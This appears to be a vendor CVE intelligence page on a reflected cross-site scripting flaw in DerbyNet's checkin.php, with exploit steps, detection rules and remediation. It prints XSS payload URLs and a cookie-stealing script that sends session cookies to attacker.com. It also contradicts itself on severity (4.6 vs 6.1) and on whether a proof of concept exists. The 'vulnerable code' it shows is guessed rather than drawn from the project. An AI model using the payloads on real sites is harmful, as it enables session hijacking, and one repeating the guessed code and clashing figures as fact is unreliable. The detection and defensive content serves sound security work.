☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-30924

CVE-2024-30924 Cross-Site Scripting in Derbynet
📅 PUBLISHED: 2024-04-18 00:00 UTC 🔄 UPDATED: 2026-09-23 20:34 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.34%
👁️
0.34% probability
8.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-30924 is a Cross-Site Scripting (XSS) vulnerability identified in DerbyNet versions 9.0 and below. The flaw resides in the checkin.php component, allowing an unauthenticated attacker to inject arbitrary web scripts or HTML. When a victim user (e.g., an administrator) views the crafted input, the malicious script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS base score of 6.1 (Medium), with a public proof-of-concept available. No official patch has been released by the vendor, making this a high-priority issue for organizations using DerbyNet.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

DerbyNet is a standalone PHP application, not distributed via NPM, PyPI, Go, or Ruby registries. The risk is limited to direct deployment of the vulnerable software.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must view the crafted page)
  • Scope: Changed (impact may extend to other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The threat level is Medium due to the requirement for user interaction, but the lack of a patch and public exploit availability elevates the risk for unmitigated deployments.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the checkin.php component. The application fails to sanitize user-supplied input before reflecting it in the HTTP response. An attacker can craft a malicious URL containing JavaScript payloads. When a victim clicks the link, the script executes in the context of the DerbyNet application.

Root Cause: Insufficient input validation and output encoding in checkin.php. The application likely uses $_GET or $_POST parameters directly in the HTML response without proper escaping.

Attack Flow:

  1. Attacker crafts a URL: http://target/checkin.php?name=<script>alert('XSS')</script>
  2. Attacker sends the link to a victim (e.g., via phishing email).
  3. Victim clicks the link while authenticated to DerbyNet.
  4. The malicious script executes, stealing session cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (checkin.php):

<?php
$name = $_GET['name'];
echo "Welcome, " . $name;
?>

Patched Code (hypothetical):

<?php
$name = htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
echo "Welcome, " . $name;
?>

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • DerbyNet v9.0 or below running on a local lab (e.g., Docker or VM).
  • A web browser with developer tools.

Exploit Steps:

  1. Identify the vulnerable parameter (e.g., name, id, action) in checkin.php.
  2. Craft a payload: <script>alert(document.cookie)</script>
  3. Send the URL to a victim: http://target/checkin.php?name=<script>alert(document.cookie)</script>
  4. Observe the XSS execution.

Advanced Payload (Session Hijacking):

<script>
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>

Blue Team (Defensive)

Detection:

  • Monitor web logs for suspicious parameters containing <script>, onerror, onload, or base64-encoded JavaScript.
  • Use WAF rules to block common XSS patterns.

Hunting:

  • Search for checkin.php in web server logs with unusual query strings.
  • Look for outbound connections to unknown IPs from the DerbyNet server.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP requests to /checkin.php with parameters containing <script> or javascript:.
    • Outbound connections to attacker-controlled domains (e.g., attacker.com).
  • Host:
    • Unexpected JavaScript execution in browser console.
    • Modified session cookies or unauthorized admin actions.
  • File:
    • No file-based IOCs; this is a reflected XSS.

Detection Engineering

YARA Rule

rule CVE_2024_30924_XSS_Checkin {
    meta:
        description = "Detects XSS attempts targeting DerbyNet checkin.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-30924"
    strings:
        $xss1 = /checkin\.php\?.*<script/i
        $xss2 = /checkin\.php\?.*onerror/i
        $xss3 = /checkin\.php\?.*onload/i
        $xss4 = /checkin\.php\?.*alert\(/i
    condition:
        any of them
}

Sigma Rule

title: DerbyNet checkin.php XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts against DerbyNet checkin.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'checkin.php'
        cs-uri-query|re: 
            - '<script'
            - 'onerror'
            - 'onload'
            - 'alert('
    condition: selection
falsepositives:
    - Legitimate use of script tags in testing environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30924 DerbyNet checkin.php XSS Attempt"; flow:to_server,established; content:"checkin.php"; http_uri; pcre:"/(<script|onerror|onload|alert\()/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the DerbyNet server from untrusted networks.
  2. Implement a Web Application Firewall (WAF) rule to block XSS patterns in checkin.php.
  3. Apply input validation and output encoding manually if source code access is available.

Long-Term Fix:

  • Upgrade to a patched version when released by the vendor.
  • If no patch is forthcoming, consider migrating to an alternative solution.

Workaround:

  • Disable checkin.php if not essential, or restrict access via .htaccess:
<Files "checkin.php">
    Require all denied
</Files>

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-30924/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.